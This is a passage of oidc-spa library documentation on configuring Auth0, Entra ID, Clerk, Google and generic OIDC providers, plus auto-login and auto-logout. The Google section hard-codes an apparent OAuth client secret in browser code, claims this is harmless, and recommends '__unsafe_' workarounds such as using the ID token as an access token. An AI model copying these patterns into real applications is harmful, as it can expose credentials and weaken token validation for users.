4. Select **Single Page Application** as the application type.
5. Navigate to the **Settings** tab to find the **Domain** and **Client ID**.
6. Scroll to the Application URIs section. Set two **Allowed Callback URLs,** ensure both URLs end with `/`:
   * **https\://**<mark style="color:orange;">**\<APP\_DOMAIN>**</mark><mark style="color:red;">**\<BASE\_URL>**</mark>
   * **<http://localhost:\\>\<DEV\_PORT>**<mark style="color:red;">**\<BASE\_URL>**</mark>
   * **Parameters:**
     * <mark style="color:orange;">**\<APP\_DOMAIN>**</mark>: Examples: **<https://my-company.com>** or **<https://app.my-company.com**.\\>
       🔹 For beter performances ensure <mark style="color:orange;">**\<APP\_DOMAIN>**</mark> and <mark style="color:blue;">**\<KC\_DOMAIN>\*\*</mark> share the same root domain (**my-company.com**). See [end of third party cookies](/v9/resources/end-of-third-party-cookies).
     * <mark style="color:red;">**\<BASE\_URL>**</mark>: Examples: **"/"** or **"/dashboard/"**.
     * **\<DEV\_PORT>**: Example: **5173** (default for Vite's dev server, adapt to your setup).
7. **Allowed Logout URLs**: Copy paste what you put into **Allowed Callback URLs**
8. **Allowed Web Origins:** The origins of the Callback URLs
9. Click **Save Changes**

<figure><img src="/files/HyPtKkU9mF8PbxVcVQkq" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8AWoIsrFTGrfQvlUP3DB" alt=""><figcaption></figcaption></figure>

```typescript
const { ... } = createOidc({
    // Referred to as "Domain" in Auth0:
    issuerUri: "dev-r2h8076n6dns3d4y.us.auth0.com",
    clientId: "DzXSmwQS7oSTQGLbafhrPXYLT0mOMyZD",
});
```

## Creating an API

If you need Auth0 to issue a JWT access token for your API, follow these steps:

1. Navigate to [Auth0 Dashboard](https://manage.auth0.com/dashboard).
2. In the left panel, go to **Applications → APIs**.
3. Click **Create API**.
4. Configure the API:
   * **Identifier**: Ideally, use your API's root URL (e.g., `https://myapp.my-company.com/api`). However, this is just an identifier, so any unique string works. It will be the aud claim of the access tokens issued. See [the web API page](broken://pages/9h0o4hUvuUAMeveFCosj) for more info.
   * Click **Save**.

<figure><img src="/files/eXl9c3loQhHAJHhlSGn0" alt=""><figcaption></figcaption></figure>

<pre class="language-typescript"><code class="lang-typescript">const { ... } = createOidc({
    issuerUri: "dev-r2h8076n6dns3d4y.us.auth0.com",
    clientId: "DzXSmwQS7oSTQGLbafhrPXYLT0mOMyZD",
    extraQueryParams: {
<strong>       audience: "https://app.my-company.com/api"
</strong>    }
});
</code></pre>

## (Optional) Configuring a Custom Domain

It is **highly recommended** to [set up a custom domain in Auth0](#user-content-fn-1)[^1] to ensure Auth0 is not treated as a third-party service by browsers.

### Why Is a Custom Domain Important?

By default, Auth0 does not issue a refresh token. If your access token expires and you haven't configured a custom domain, `oidc-spa` will **force reload your app** to refresh the token, instead of doing it silently in the background.

Auth0 access tokens have a default validity of **24 hours**, so if you don’t modify this setting, you won’t notice page reloads. However, if your app requires shorter expiration times for security reasons, a custom domain is necessary.

### Configuring a Custom Domain in Auth0

1. Navigate to the [Auth0 Dashboard](https://manage.auth0.com/dashboard).
2. Click **Settings** in the left panel.
3. Open the **Custom Domain** tab.
4. Configure a custom domain (e.g., `auth.my-company.com`).
   * See [the end of third-party cookie page](/v9/resources/end-of-third-party-cookies) for more details.

Once configured, use your custom domain as the `issuerUri`:

```diff
 const { ... } = createOidc({
-    issuerUri: "dev-r2h8076n6dns3d4y.us.auth0.com",
+    issuerUri: "auth.my-company.com",
     clientId: "DzXSmwQS7oSTQGLbafhrPXYLT0mOMyZD",
     extraQueryParams: {
         audience: "https://app.my-company.com/api"
     }
 });
```

## (Optional) Configuring Auto Logout

If you want users to be **automatically logged out** after a period of inactivity, follow these steps.

### When and Why Enable Auto Logout?

For **security-critical applications** like banking or admin dasboards users should:

* Log in **on every visit**.
* Be **logged out after inactivity**.

This prevents unauthorized access if a user steps away from their device.

For apps like social media or e-comerce shop on the other hand it's best **not** to enable auto logout.

### Configuring Session Expiration in Auth0

1. Navigate to [Auth0 Dashboard](https://manage.auth0.com/dashboard).
2. Click **Settings** in the left panel.
3. Open the **Advanced** tab.
4. Configure **Session Expiration**:
   * **Idle Session Lifetime**: `5 minutes` (300 seconds) – logs out inactive users.
   * **Maximum Session Lifetime**: `14 days` (20160 minutes) – ensures active users stay logged in.
5. Configure **Access Token Lifetime**:
   1. Go to **Applications → APIs**.
   2. Select your API (`My App - API` or the name used earlier).
   3. Open the **Settings** tab.
   4. Under **Access Token Settings**:
      * **Maximum Access Token Lifetime**: `4 minutes` (240 seconds) – should be **shorter** than the Idle Session Lifetime.
      * **Implicit/Hybrid Flow Access Token Lifetime**: `4 minutes` – required to save settings, even if unused.
   5. Click **Save**.

Since Auth0 **does not issue refresh tokens** (or issues non-JWT ones), inform `oidc-spa` of your settings:

<pre class="language-typescript"><code class="lang-typescript">const { ... } = createOidc({
    issuerUri: "auth.my-company.com",
    clientId: "DzXSmwQS7oSTQGLbafhrPXYLT0mOMyZD",
    extraQueryParams: {
       audience: "https://app.my-company.com/api"
    },
<strong>    idleSessionLifetimeInSeconds: 300
</strong>});
</code></pre>

You can enhance user experience by displaying a countdown warning before logout:

{% content-ref url="/pages/tpyBmXI4q9q1dCCuf6ZY" %}
[Auto Logout](/v9/features/auto-logout)
{% endcontent-ref %}

***

## Testing the Setup

To test your configuration:

```bash
npx degit https://github.com/keycloakify/oidc-spa/examples/tanstack-router-file-based oidc-spa-tanstack-router
cd oidc-spa-tanstack-router
cp .env.local.sample .env.local

# Uncomment the Auth0 section and comment out the Keycloak section.
# Update the values with your own.

yarn
yarn dev
```

[^1]: Custom domains are available even under the free plan, but you must enter a credit card.


# Microsoft Entra ID

Formerly Azure Active Directory

{% embed url="<https://youtu.be/upcAmYq4JLY>" %}

## Configuring Entra ID to Issue a JWT Access Token

By default, Entra ID issues opaque Access Tokens, which can only be validated by your backend via the Microsoft Graph API.

To enable validation of access tokens in a non-vendor-locked way—such as demonstrated in [the Web API section](broken://pages/9h0o4hUvuUAMeveFCosj)—you need to configure a custom scope.

### Steps to Configure a Custom Scope

1. Go to [Microsoft Azure Portal](https://portal.azure.com/).
2. In the left panel, select **"Microsoft Entra ID"**.
3. Navigate to **"Manage > App Registrations"**.
4. Click **"New Registration"**.
5. Enter **"My App - API"** as the name, then click **Register**.
6. Set **Supported Account Type** to **Accounts in this organization**.
7. In the left menu, go to **"Manage > Expose API"**.
8. Click **"Add a scope"**.
9. Configure as follows, then click **"Add Scope"**:
   * **Application ID URI**: `api://my-app-api` (then save and continue)
   * **Scope name**: `access_as_user`
   * **Who can consent**: Admins and Users
   * **Admin Consent Display Name**: "JWT Access Token"
   * **Admin Consent Description**: "Ensure issuance of a JWT Access Token"
   * **User Consent Display Name**: "View your basic profile"
   * **User Consent Description**: "Allows the app to see your basic profile (e.g., name, picture, user name, email address)"
   * **State**: Enabled

### Validating the Token on the Backend

To validate the token on the backend, ensure that the `aud` claim in the JWT access token matches `api://my-app-api`. For more details, refer to the [Web API documentation](broken://pages/9h0o4hUvuUAMeveFCosj).

***

## Registering Your Application

1. Go to [Microsoft Azure Portal](https://portal.azure.com/).
2. In the left panel, select **"Microsoft Entra ID"**.
3. Navigate to **"Manage > App Registrations"**.
4. Click **"New Registration"**.
5. Enter **"My App"** as the display name (replace with your actual app name).
6. Set **Supported Account Type** to [**Accounts in this organization**](#user-content-fn-1)[^1].
7. Click **Register**.
8. Click **"Add a Redirect URI"**.
9. Click **"Add Platform"** > **"Single-Page Application"**.
10. Set **Redirect URIs**:
    * **Production**: `https://my-app.com/` (include trailing slash; adjust if hosted under a subpath, e.g., `https://my-app.com/dashboard/`)
    * **Local Development**: `http://localhost:5173/` (include trailing slash; adjust based on your dev server)
11. Ensure **"Access Token"** and **"ID Token"** are checked.
12. Click **Save**.
13. In the left panel, go to **"API Permissions"**.
14. Click **"Add a permission"**.
15. Click **"APIs My Organization Uses"**.
16. Select **"My App - API"**.
17. Check **"access\_as\_user"**, then click **"Add permission"**.
18. In the left panel, click **"Overview"** and copy:
    * **Application (client) ID**
    * **Directory (tenant) ID**

These are required to configure `oidc-spa`.

***

## Configuring `oidc-spa`

{% tabs %}
{% tab title="Vanilla" %}

```typescript
import { createOidc } from "oidc-spa";

// Directory (tenant) ID:
const directoryId = "XXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX";
// Application (client) ID:
const clientId = "XXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX";
// Application ID URI: (Of the API!)
const applicationIdUri_api= "api://my-app-api/access_as_user";

export const prOidc = createOidc({
    issuerUri: `https://login.microsoftonline.com/${directoryId}/v2.0`,
    clientId,
    scopes: ["profile", applicationIdUri_api],
    homeUrl: import.meta.env.BASE_URL
});
```

{% endtab %}

{% tab title="React" %}

```typescript
import { createReactOidc } from "oidc-spa/react";

// Directory (tenant) ID:
const directoryId = "XXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX";
// Application (client) ID:
const clientId = "XXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX";
// Application ID URI: (Of the API!)
const applicationIdUri_api= "api://my-app-api/access_as_user";

export const { OidcProvider, useOidc, getOidc } = createReactOidc({
    issuerUri: `https://login.microsoftonline.com/${directoryId}/v2.0`,
    clientId,
    scopes: ["profile", applicationIdUri_api],
    homeUrl: import.meta.env.BASE_URL
});
```

{% endtab %}
{% endtabs %}

***

## Testing the Setup

To test your configuration:

```bash
npx degit https://github.com/keycloakify/oidc-spa/examples/tanstack-router-file-based oidc-spa-tanstack-router
cd oidc-spa-tanstack-router
cp .env.local.sample .env.local

# Uncomment the Microsoft Entra ID section and comment out the Keycloak section.
# Update the values with your own.

yarn
yarn dev
```

[^1]: Only for now. You can change that later if you want to enable pepole to signin with their personal accounts.


# Clerk

{% hint style="warning" %}
Technically, it works now, but there are still a few ways the "OAuth" feature in Clerk needs to be improved to fully comply with the standard so that generic clients work seamlessly.\
The team has been very helpful so far and already fixed the most critical issues.\
Once the remaining problems are addressed, I’ll update this page.

If you want to use it today, here are the required workarounds:

* Set [`noIframe: true`](/v9/resources/iframe-related-issues)
* Set [`__unsafe_useIdTokenAsAccessToken: true`](/v9/providers-configuration/google-oauth) if you need the access token to be a JWT (by default, the issued access token is opaque)
* In the Clerk admin, make sure the consent pages are **not** enabled
  {% endhint %}


# Google OAuth 2.0

Implement "Login with Google"

With `oidc-spa`, you would typically use an OIDC Provider like Keycloak or Auth0 to centralize authentication and configure Google as an identity provider within Keycloak. This allows users to select "Google" as a login option.

That being said, if you really want to, you can configure `oidc-spa` directly with Google, as demonstrated in the following video:

{% embed url="<https://youtu.be/d0RgnM4vXbc>" %}

## Google Cloud Console Configuration

To set up authentication via Google, follow these steps in the **Google Cloud Console**:

1. Navigate to **Google Cloud Platform Console**.
2. Go to **API & Services** → **Credentials**.
3. Click **Create Credentials** → **OAuth Client ID**.
4. Choose **Application Type: Web Application**.
5. Set the **Authorized Redirect URIs**:
   * **<https://my-app.com/>** and **<http://localhost:5173/>** (Ensure the trailing slash is included).
   * If your app is hosted under a subpath (e.g., `/dashboard`), set:
     * **<https://my-app.com/dashboard/>**
     * **<http://localhost:5173/dashboard/>**
   * `5173` is Vite's default development server port—adjust as needed.
6. Set the **Authorized JavaScript Origins** to match the origins of your redirect URIs.

<figure><img src="/files/PCVL0ZCqcCW3b297boYL" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
**Client Secret**

Google's OAuth implementation has a significant flaw: **PKCE-based authentication fails unless a client secret is provided**.

For public clients, storing secrets is inherently insecure. **PKCE (Proof Key for Code Exchange)** exists precisely to prevent code interception, and Google supports PKCE. **Requiring a client secret in addition to PKCE is unnecessary and misleading**.

That said, **providing the client secret in your frontend code for this specific case has no security implications**. This is purely a poor API design decision on Google's part.
{% endhint %}

{% hint style="warning" %}

### Subtituing the Access Token by the ID Token

Google do not issue JWT Access Tokens and there is no way to configure it so it does.

As a result, if you want to implement an API you'll have to call Google's special endpoint to validate the access token and get user infos.\
You won't be able to implement the standard approach for validating token described in the[ Web API](broken://pages/9h0o4hUvuUAMeveFCosj) section.

Well there is a way to go around this, and that is to ask oidc-spa to substitute the Acess Token by the ID token.

Be aware that this is a hack, the ID token is not meant to be sent to the API but it works.
{% endhint %}

Here’s how to configure `oidc-spa` to work with Google:

{% tabs %}
{% tab title="Vanilla" %}

```typescript
import { createOidc } from "oidc-spa";

export const prOidc = createOidc({
    issuerUri: "https://accounts.google.com",
    clientId: "928024164279-ifjvmsffi64slkk81h3gmoh7p03ev68k.apps.googleusercontent.com",
    homeUrl: import.meta.env.BASE_URL,
    scope: ["profile", "email",
    /*Obtionally more scopes to get more infos in the id token like "https://www.googleapis.com/auth/youtube.readonly", ...*/
    ],
    __unsafe_clientSecret: "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",
    __unsafe_useIdTokenAsAccessToken: true
});
```

{% endtab %}

{% tab title="React" %}

```typescript
import { createReactOidc } from "oidc-spa/react";

export const { OidcProvider, useOidc, getOidc } = createReactOidc({
    issuerUri: "https://accounts.google.com",
    clientId: "928024164279-ifjvmsffi64slkk81h3gmoh7p03ev68k.apps.googleusercontent.com",
    homeUrl: import.meta.env.BASE_URL,
    scope: ["profile", "email", 
       /*Obtionally more scopes to get more info in the id token like "https://www.googleapis.com/auth/youtube.readonly", ...*/
    ],
    __unsafe_clientSecret: "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",
    __unsafe_useIdTokenAsAccessToken: true
});
```

{% endtab %}
{% endtabs %}

## Testing

```bash
npx degit https://github.com/keycloakify/oidc-spa/examples/tanstack-router-file-based oidc-spa-tanstack-router
cd oidc-spa-tanstack-router
cp .env.local.sample .env.local

# Edit .env.local, uncomment the Google section and comment the Keycloak section
# replace the values by your own.

yarn
yarn dev
```


# Other OIDC Provider

If you are using an OIDC provider other than the ones for which we have [a specific guide](https://github.com/keycloakify/docs.oidc-spa.dev/blob/v6/providers-configuration/broken-reference/README.md), follow these general instructions to configure your OIDC provider.

{% hint style="warning" %}
Not every “OIDC provider” works with a browser-only (public) client.

`oidc-spa` requires **Authorization Code + PKCE** and **no client secret**.

Some “social login” providers (GitHub, Facebook, LinkedIn, …) don’t support PKCE. They force a client secret. That can’t work in a public client.

Use a real authorization server (Keycloak, Auth0, Microsoft Entra ID, Clerk, …). Federate the social providers through it.

Even some authorization servers have rough edges for public clients, they all claim to support them but in practice some don't. Example: [Dex doesn’t support PKCE yet](https://github.com/dexidp/dex/pull/3777).   &#x20;

Bottom line: browser-side OIDC is less widely supported than backend OIDC. If your provider behaves oddly, [reach out on Discord](https://discord.com/invite/mJdYJSdcm4).
{% endhint %}

## Creating the Client Application

* Create a **Public** OpenID Connect client.
  * OpenID Connect clients may also be referred to as **OIDC clients** or **OAuth clients**.
  * The technical term for a public OIDC client is **Authorization Code Flow + PKCE**.
  * If provided with the option, **disable client credentials,** you do not need to provide a client secret to oidc-spa.
  * Some providers will ask you to select an application type and choose between Single Page Application (SPA), Web Application (or Web Server App), and Mobile App. **Select SPA**.
  * You may need to explicitly provide a Client ID, or it may be generated automatically. This is the `clientId` parameter required by oidc-spa.
* **Valid Redirect URIs**:\
  **<https://my-app.com/>** and **[http://localhost:\*\*\[\*\*5173](https://docs.oidc-spa.dev/v9/providers-configuration/http:/localhost:**\[**5173)**]\(#user-content-fn-1)[^1]**/**
  * The trailing slash (`/`) is important.
  * If your app is hosted on a subpath (e.g., `/dashboard`), set:\
    **<https://my-app.com/dashboard/>** and **<http://localhost:5173/dashboard/>**
  * Port `5173` is the default for the Vite dev server; adjust as needed for your setup.
* **Valid Post-Logout Redirect URIs**:\
  Use the same values as the **Valid Redirect URIs**.
* **Web Origins**:\
  **<https://my-app.com>**, **<http://localhost:5173>**

## How Do I Find the `issuerUri`?

The issuer URI is not always clearly documented, it depends on the provider.

If you are given a Discovery URL like:

```
https://XXX/.well-known/openid-configuration
```

Then your `issuerUri` is:

```
https://XXX
```

If you suspect a URL might be the issuer URI but are unsure, append `/.well-known/openid-configuration` to it and open it in a web browser. If it returns a JSON response, then you have found your issuer URI!

## Scopes and Audience

Some OIDC providers require the client (`oidc-spa`) to explicitly request a specific **scope** or **audience** to issue a JWT access token.\
Unfortunately, the configuration varies significantly between providers.

For example:

* **Auth0** requires you to ["Create an API" and specify an audience](/v9/providers-configuration/auth0#creating-an-api).
* **Microsoft Entra ID** requires you to ["register an application" and specify a scope](/v9/providers-configuration/microsoft-entra-id#configuring-entra-id-to-issue-a-jwt-access-token).

[^1]: This is the default port that Vite dev server uses. Addapt to your setup to be able to run your app in localhost.&#x20;


# Auto Login

Enforce authentication everywhere in your app.

Auto Login is a mode in **oidc-spa** designed for applications where **every page requires authentication**.

This is common for admin dashboards or internal tools that don’t expose any public or “marketing” pages.

When Auto Login is enabled, visiting your application automatically redirects the user to the IdP’s login page whenever no active session is detected.

The goal of this mode is to simplify your app’s authentication model.\
In the regular mode, where you *do* have public pages, you need to:

* Enforce login on specific routes: call `login()`, use `enforceLogin()`, or wrap pages with `withLoginEnforced()`.
* Explicitly check whether the user is logged in or not.

But if your app has **no public pages**, all of this can be simplified.\
Auto Login lets you assume the user is always logged in, and that **every page implicitly requires authentication**.

{% tabs %}
{% tab title="Framwork Agnostic" %}
Here the `oidc` object will always be of type Oidc.UserLoggedIn, there is no need to check `if( oidc.isUserLoggedIn )` anywhere.

```typescript
import { createOidc } from "oidc-spa/core";

const oidc = await createOidc({
    // ...
    autoLogin: true
});
```

{% endtab %}

{% tab title="TanStack Start" %}
{% code title="src/oidc.ts" %}

```diff
 import { oidcSpa } from "oidc-spa/react-tanstack-start";
 
 export const {
     bootstrapOidc,
     useOidc,
     getOidc,
     oidcFnMiddleware,
     oidcRequestMiddleware,
-     enforceLogin
 } = oidcSpa
     .withExpectedDecodedIdTokenShape({ /* ... */ })
     .withAccessTokenValidation({ /* ... */ })
+    .withAutoLogin()
     .createUtils();
```

{% endcode %}

<pre class="language-tsx" data-title="src/routes/__root.tsx"><code class="lang-tsx">import { HeadContent, Scripts, createRootRoute } from "@tanstack/react-router";

import Header from "@/components/Header";
import { AutoLogoutWarningOverlay } from "@/components/AutoLogoutWarningOverlay";
<strong>import { useOidc } from "@/oidc";
</strong>
export const Route = createRootRoute({
    // ...
    shellComponent: ShellComponent,
<strong>    // NOTE: Even with SSR disabled here, the ShellComponent is still SSR'd.
</strong><strong>    // Only page components lose SSR.  
</strong><strong>    // You *can* disable SSR per-page for routes that load authed data,
</strong><strong>    // but if your app isn’t public, it’s simpler to SSR only the shell.  
</strong><strong>    ssr: false
</strong>});

function ShellComponent({ children }: { children: React.ReactNode }) {

    const { isOidcReady } = useOidc();
    
    return (
        &#x3C;html lang="en">
            &#x3C;head>
                &#x3C;HeadContent />
            &#x3C;/head>
            &#x3C;body>
                &#x3C;div className="min-h-screen flex flex-col">
                    &#x3C;Header />
                    &#x3C;main className="flex flex-1 flex-col">
<strong>                        {isOidcReady &#x26;&#x26;
</strong>                            children
<strong>                        }
</strong>                    &#x3C;/main>
                &#x3C;/div>
                &#x3C;AutoLogoutWarningOverlay />
                &#x3C;Scripts />
            &#x3C;/body>
        &#x3C;/html>
    );
}
</code></pre>

You can remove all the assertin your oidc component, the components specifically for the not logged in state can be removed.

{% code title="src/components/Header.tsx" %}

```diff
import { useOidc } from "@/oidc";

-function AuthButtons() {
-    const { hasInitCompleted, isUserLoggedIn } = useOidc();
-
-    if (!hasInitCompleted) {
-        return null;
-    }
-
-    return isUserLoggedIn ? <LoggedInAuthButton /> : <NotLoggedInAuthButton />;
-}
-
-function LoggedInAuthButton() {
-    const { logout } = useOidc({ assert: "user logged in" });
-
-    return (
-        <button
-            onClick={() => logout({ redirectTo: "home" })}
-        >
-            Logout
-        </button>
-    );
-}
-
-function NotLoggedInAuthButton() {
-    const { login, issuerUri } = useOidc({ assert: "user not logged in" });
-
-    return (
-        <div className="flex items-center gap-2">
-            <button
-                onClick={() => login()}
-            >
-                Login
-            </button>
-        </div>
-    );
-}

+function AuthButtons() {
+
+    const { isOidcReady, logout } = useOidc();
+
+    if (!isOidcReady) {
+        return null;
+    }
+
+    return (
+        <button
+            onClick={() => logout({ redirectTo: "home" })}
+        >
+            Logout
+        </button>
+    );
+}
```

{% endcode %}

You can remove the `assert: "user logged in"` from `oidcFnMiddleware` and `oidcRequestMiddleware`:

```diff
-oidcFnMiddleware({ assert: "user logged in" })
+oidcFnMiddleware()

-oidcRequestMiddleware({ assert: "user logged in" })
+oidcRequestMiddleware()
```

You can remove all the beforeLoad: enforceLogin:

```diff
 export const Route = createFileRoute("/demo/start/api-request")({
-    beforeLoad: enforceLogin,
     loader: async () => { }, 
     pendingComponent: () => <Spinner />,
     component: Home
 });
```

For all the components that are within the \<OidcInitializationGate /> you know that hasInitCompleted will be true so you can assert it to narrow down the type:

```diff
-const { ... } = useOidc({ assert: "user logged in" });
+const { ... } = useOidc({ assert: "ready" });
```

{% endtab %}

{% tab title="React SPA" %}
{% code title="src/oidc.ts" %}

```diff
 export const {
     bootstrapOidc,
     useOidc,
     getOidc,
     OidcInitializationGate
-    withLoginEnforced,
-    enforceLogin
 } = oidcSpa
     .withExpectedDecodedIdTokenShape({ /* ... */ })
+    .withAutoLogin()
     .createUtils();
```

{% endcode %}

You can then proceed to remove all the usage of `withLoginEnforced` and `enforceLogin` throughout your codebase.\
\
You can also remove all the assetion of the login state of the user:

```diff
- useOidc({ assert: "user logged in" });
+ useOidc();
```

All the components with `useOidc({ assert: "user not logged in" });` can be removed.
{% endtab %}

{% tab title="Angular" %}

<pre class="language-typescript" data-title="src/app/services/oidc.service.ts"><code class="lang-typescript">@Injectable({ providedIn: 'root' })
export class Oidc extends AbstractOidcService&#x3C;DecodedIdToken> {
  // ...
<strong>  override autoLogin = true;
</strong>}
</code></pre>

All the handling for the user not logged in state can be removed.

{% code title="src/app/app.html" %}

```diff
-@if (oidc.isUserLoggedIn) {
 <div>
       <span>Hello {{ oidc.$decodedIdToken().name }}</span>
       <button (click)="oidc.logout({ redirectTo: 'home' })">Logout</button>
 </div>
-} @else {
-<div>
-      <button (click)="oidc.login()">Login</button>
-</div>
-}
```

{% endcode %}

You can remove the usage of Oidc.enforceLoginGuard:

{% code title="src/app/app.routes.ts" %}

```diff
-canActivate: [Oidc.enforceLoginGuard],
//...
 canActivate: [
   async (route) => {
     const oidc = inject(Oidc);
     const router = inject(Router);
-    await Oidc.enforceLoginGuard(route);   
     //...
  },
],
```

{% endcode %}
{% endtab %}
{% endtabs %}


# Auto Logout

Auto logout is **not** a feature you enable or disable in `oidc-spa`.\
It’s a **policy defined by your Identity Provider (IdP)**.\
What oidc-spa provides is:&#x20;

* A mechanism to display a feedback overlay that warns users before they’re logged out due to inactivity.
* Ensure they never remain stuck on a stale UI where any interaction would simply redirect them to the login page.
* Monitoring of real user activity across all tabs of your application, ensuring users aren’t mistakenly marked as inactive just because they haven’t performed an action that directly contacts the IdP.

{% embed url="<https://youtu.be/GeZaZIr-d68>" %}
Example: Demo app with a short SSO Session Idle
{% endembed %}

***

## Understanding the Auto Logout Policy

The duration before an inactive user is logged out is **not configured in `oidc-spa,`** it’s controlled by your IdP.\
Depending on the platform, this policy might be named:

* **SSO Session Idle**
* **Idle Session Lifetime**
* **Inactivity Timeout**

When a user logs into your application, the IdP creates a **session** for that user.\
As long as this session remains active, returning to your app (with the **same browser**) automatically restores it, no new login required.

Your IdP defines how long such sessions remain active:

* **Weeks or days** → Users rarely have to log in again (e.g., Instagram, X/Twitter)
* **Minutes** → Users must log in often or may be logged out during inactivity

`oidc-spa` automatically **monitor user activity across tabs,** mouse movement, touch events, or keyboard input.\
As long as the user is active, it periodically pings the IdP to **keep the session alive**.

> 💡 **Note:**\
> IdP configuration panels often include multiple session policies.\
> For example:
>
> * **SSO Session Idle:** how long before the session expires if idle
> * **SSO Session Max / Maximum Lifetime:** total duration before forced expiration
> * **Remember Me:** may extend lifetime if selected and if not selected set session cookie to expire when the browser closes (not just the tab)

***

## Configuring Auto Logout Policy

Guides for common providers:

* [Keycloak](/v9/providers-configuration/keycloak#security-sensitive-apps-banking-admin-panels-etc)
* [Auth0](/v9/providers-configuration/auth0#optional-configuring-auto-logout)
* Other providers: search for:
  * “SSO Session Idle”
  * “Idle Session Lifetime”
  * “Inactivity Timeout”
  * Refresh Token TTL

***

## Verifying Auto Logout

To confirm that your IdP communicates its session policy correctly, enable debug logs:

{% tabs %}
{% tab title="Framework Agnostic" %}
{% code title="src/oidc.ts" %}

```typescript
createOidc({ 
    // ...
    debugLogs: true 
});
```

{% endcode %}
{% endtab %}

{% tab title="React" %}
{% code title="src/oidc.ts" %}

```typescript
bootstrapOidc({
    // ...
    debugLogs: true
});
```

{% endcode %}
{% endtab %}

{% tab title="Angular" %}
{% code title="src/app/app.config.ts" %}

```typescript
Oidc.provide({
  // ...
  debugLogs: true
})
```

{% endcode %}
{% endtab %}
{% endtabs %}

Then open your browser console.

If you see:

> `oidc-spa: The user will be automatically logged out after X minutes of inactivity.`

✅ You’ve successfully configured auto logout.

If instead you see:

> `oidc-spa: No refresh token, and idleSessionLifetimeInSeconds was not set, can't implement auto logout mechanism.`

It means your IdP does **not** expose this information to clients.\
In that case, you must manually specify the duration using `idleSessionLifetimeInSeconds` and keep it in sync with your IdP configuration. Keep reading for futher instructions.

***

## Auto Logout Options

{% tabs %}
{% tab title="Framework Agnostic" %}

```typescript
import { createOidc } from "oidc-spa/core";

const oidc = await createOidc({
    // ...

    // ⚠️ Read carefully:
    // Only use this if your IdP does not expose its session timeout policy.
    // (Optional) Hard-code the number of seconds of inactivity before auto logout.
    idleSessionLifetimeInSeconds: 300, // 5 minutes

    // (Optional) Where to redirect after auto logout:
    // autoLogoutParams: { redirectTo: "current page" } // Default
    // autoLogoutParams: { redirectTo: "home" }
    autoLogoutParams: {
        redirectTo: "specific url",
        get url() {
            // This let's you create a page that inform the user they have beel
            // logged out due to inactivity and display a button to come back
            // where they left off at the time of autoLogout.
            return `/activity-logout?return_url=${location.href}`;
        }
    }
});
```

{% endtab %}

{% tab title="React" %}
{% code title="src/oidc.ts" %}

```typescript
bootstrapOidc({
  // ...
  
  // (Optional) How long before auto logout the warning overlay should appear.
  // Default: 45 seconds
  warnUserSecondsBeforeAutoLogout: 45,
  
  // ⚠️ Read carefully:
  // Only use this if your IdP does not expose its session timeout policy.
  // (Optional) Hard-code the number of seconds of inactivity before auto logout.
  idleSessionLifetimeInSeconds: 300, // 5 minutes
    
  // (Optional) Where to redirect after auto logout:
  // autoLogoutParams: { redirectTo: "current page" } // Default
  // autoLogoutParams: { redirectTo: "home" }
  autoLogoutParams: {
      redirectTo: "specific url",
      get url() {
          // This let's you create a page that inform the user they have beel
          // logged out due to inactivity and display a button to come back
          // where they left off at the time of autoLogout.
          return `/activity-logout?return_url=${location.href}`;
      }
  }
});
```

{% endcode %}
{% endtab %}

{% tab title="Angular" %}
{% code title="src/app/app.config.ts" %}

```typescript
export const appConfig: ApplicationConfig = {
  providers: [
    // ...
    Oidc.provide({
      // ...
      
      // (Optional) How long before auto logout the overlay should appear.
      // Default: 45 seconds
      warnUserSecondsBeforeAutoLogout: 45,
      
      // ⚠️ Read carefully:
      // Only use this if your IdP does not expose its session timeout policy.
      // (Optional) Hard-code the number of seconds of inactivity before auto logout.
      idleSessionLifetimeInSeconds: 300, // 5 minutes
    
      // (Optional) Where to redirect after auto logout:
      // autoLogoutParams: { redirectTo: "current page" } // Default
      // autoLogoutParams: { redirectTo: "home" }
      autoLogoutParams: {
          redirectTo: "specific url",
          get url() {
              // This let's you create a page that inform the user they have beel
              // logged out due to inactivity and display a button to come back
              // where they left off at the time of autoLogout.
              return `/activity-logout?return_url=${location.href}`;
          }
      }
    })
  ]
}
```

{% endcode %}
{% endtab %}
{% endtabs %}

***

## Displaying a Warning Before Auto Logout

`oidc-spa` provides convenient hooks to display a **warning overlay** (or any other UI) before the user is automatically logged out.

{% tabs %}
{% tab title="Framework Agnostic" %}

```typescript
const { unsubscribeFromAutoLogoutCountdown } =
  oidc.subscribeToAutoLogoutCountdown(({ secondsLeft }) => {
    if (secondsLeft === undefined) {
      // Countdown reset — user became active again
      hideModal();
      return;
    }
    if (secondsLeft > 60) {
      // Logout is still far away — no warning yet
      return;
    }
    showModal(`Are you still there? ${secondsLeft}s before auto logout.`);
  });
```

{% endtab %}

{% tab title="React" %}
{% code title="src/components/AutoLogoutWarningOverlay.tsx" %}

```tsx
import { useOidc } from "~/oidc";

export function AutoLogoutWarningOverlay() {
  const { autoLogoutState } = useOidc();

  if (!autoLogoutState.shouldDisplayWarning) {
    return null;
  }

  return (
    <div className="fixed inset-0 z-50 flex items-center justify-center bg-black/70 px-4 backdrop-blur">
      <div
        role="alertdialog"
        aria-live="assertive"
        aria-modal="true"
        className="w-full max-w-sm rounded-2xl border border-slate-800 bg-slate-900 p-6 text-center shadow-xl shadow-black/30"
      >
        <p className="text-sm font-medium text-slate-400">
          Are you still there?
        </p>
        <p className="mt-2 text-lg font-semibold text-white">
          You will be logged out in {autoLogoutState.secondsLeftBeforeAutoLogout}s
        </p>
      </div>
    </div>
  );
}
```

{% endcode %}

Then mount it near the root of your app:

<pre class="language-tsx" data-title="src/App.tsx"><code class="lang-tsx"><strong>import { AutoLogoutWarningOverlay } from "./components/AutoLogoutWarningOverlay";
</strong>
export function App() {
  return (
    &#x3C;div>
      &#x3C;Header />
      &#x3C;main>{/* ... */}&#x3C;/main>
<strong>      &#x3C;AutoLogoutWarningOverlay />
</strong>    &#x3C;/div>
  );
}
</code></pre>

{% endtab %}

{% tab title="Angular" %}
{% code title="src/app/app.html" %}

```html
<header>...</header>

<router-outlet />

@if (oidc.$secondsLeftBeforeAutoLogout()) {
  <!-- Full screen overlay, blurred background -->
  <div [style]="{
    position: 'fixed',
    top: 0,
    left: 0,
    right: 0,
    bottom: 0,
